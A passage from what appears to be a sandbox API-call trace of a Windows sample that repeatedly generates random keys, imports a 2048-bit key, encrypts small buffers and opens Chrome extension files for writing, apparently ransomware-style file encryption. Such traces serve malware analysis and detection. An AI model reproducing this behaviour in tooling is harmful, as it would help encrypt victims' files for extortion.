hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.702] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.702] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.705] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6599038) returned 1 [0233.705] CryptGetKeyParam (in: hKey=0x6599038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.705] CryptEncrypt (in: hKey=0x6599038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7fe0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7fe0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.705] GetLastError () returned 0x0 [0233.705] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.705] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.707] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598fb8) returned 1 [0233.707] CryptGetKeyParam (in: hKey=0x6598fb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.707] CryptEncrypt (in: hKey=0x6598fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ff0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7ff0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.707] GetLastError () returned 0x0 [0233.707] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.707] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.708] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.710] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.712] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.712] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.712] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.714] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.715] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.715] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.715] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.715] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.717] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598eb8) returned 1 [0233.717] CryptGetKeyParam (in: hKey=0x6598eb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.717] CryptEncrypt (in: hKey=0x6598eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8000000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8000000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.718] GetLastError () returned 0x0 [0233.718] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.718] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.720] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598bb8) returned 1 [0233.720] CryptGetKeyParam (in: hKey=0x6598bb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.720] CryptEncrypt (in: hKey=0x6598bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8010000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8010000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.720] GetLastError () returned 0x0 [0233.720] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.720] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.722] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.724] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.726] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.726] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.727] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.728] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.730] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.730] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.730] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.730] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.732] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65988f8) returned 1 [0233.732] CryptGetKeyParam (in: hKey=0x65988f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.732] CryptEncrypt (in: hKey=0x65988f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8020000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8020000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.732] GetLastError () returned 0x0 [0233.732] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.732] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.735] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598938) returned 1 [0233.735] CryptGetKeyParam (in: hKey=0x6598938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.735] CryptEncrypt (in: hKey=0x6598938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8030000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8030000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.735] GetLastError () returned 0x0 [0233.735] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.735] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.736] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.739] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.739] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.740] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0233.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.742] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.742] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.743] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.745] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598ef8) returned 1 [0233.745] CryptGetKeyParam (in: hKey=0x6598ef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.745] CryptEncrypt (in: hKey=0x6598ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8040000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8040000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.745] GetLastError () returned 0x0 [0233.745] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.745] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.747] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598f78) returned 1 [0233.747] CryptGetKeyParam (in: hKey=0x6598f78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.747] CryptEncrypt (in: hKey=0x6598f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8050000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8050000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.747] GetLastError () returned 0x0 [0233.747] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.747] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.748] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.752] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.752] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.752] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.754] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.755] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.755] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.755] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.755] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.758] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598978) returned 1 [0233.758] CryptGetKeyParam (in: hKey=0x6598978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.758] CryptEncrypt (in: hKey=0x6598978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8060000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8060000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.758] GetLastError () returned 0x0 [0233.758] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.758] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.760] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598ff8) returned 1 [0233.760] CryptGetKeyParam (in: hKey=0x6598ff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.760] CryptEncrypt (in: hKey=0x6598ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8070000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8070000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.760] GetLastError () returned 0x0 [0233.760] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.760] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.761] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.763] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.765] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.765] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.765] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.769] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.769] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.769] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.769] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.772] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65989b8) returned 1 [0233.772] CryptGetKeyParam (in: hKey=0x65989b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.772] CryptEncrypt (in: hKey=0x65989b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8080000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8080000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.773] GetLastError () returned 0x0 [0233.773] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.773] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.775] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598a38) returned 1 [0233.775] CryptGetKeyParam (in: hKey=0x6598a38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.775] CryptEncrypt (in: hKey=0x6598a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8090000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8090000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.775] GetLastError () returned 0x0 [0233.775] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.775] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.776] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.778] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.780] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.780] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.780] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.780] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.782] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.783] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.783] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.783] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.785] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598a78) returned 1 [0233.785] CryptGetKeyParam (in: hKey=0x6598a78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.785] CryptEncrypt (in: hKey=0x6598a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x80a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x80a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.785] GetLastError () returned 0x0 [0233.785] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.785] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.788] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598af8) returned 1 [0233.788] CryptGetKeyParam (in: hKey=0x6598af8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.788] CryptEncrypt (in: hKey=0x6598af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x80b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x80b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.788] GetLastError () returned 0x0 [0233.788] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.788] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.789] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.791] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.792] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.792] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.792] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.792] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.794] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.796] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.796] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.796] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.798] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65992b8) returned 1 [0233.798] CryptGetKeyParam (in: hKey=0x65992b8, dwParam=0x8, pbData=0x285ca84, 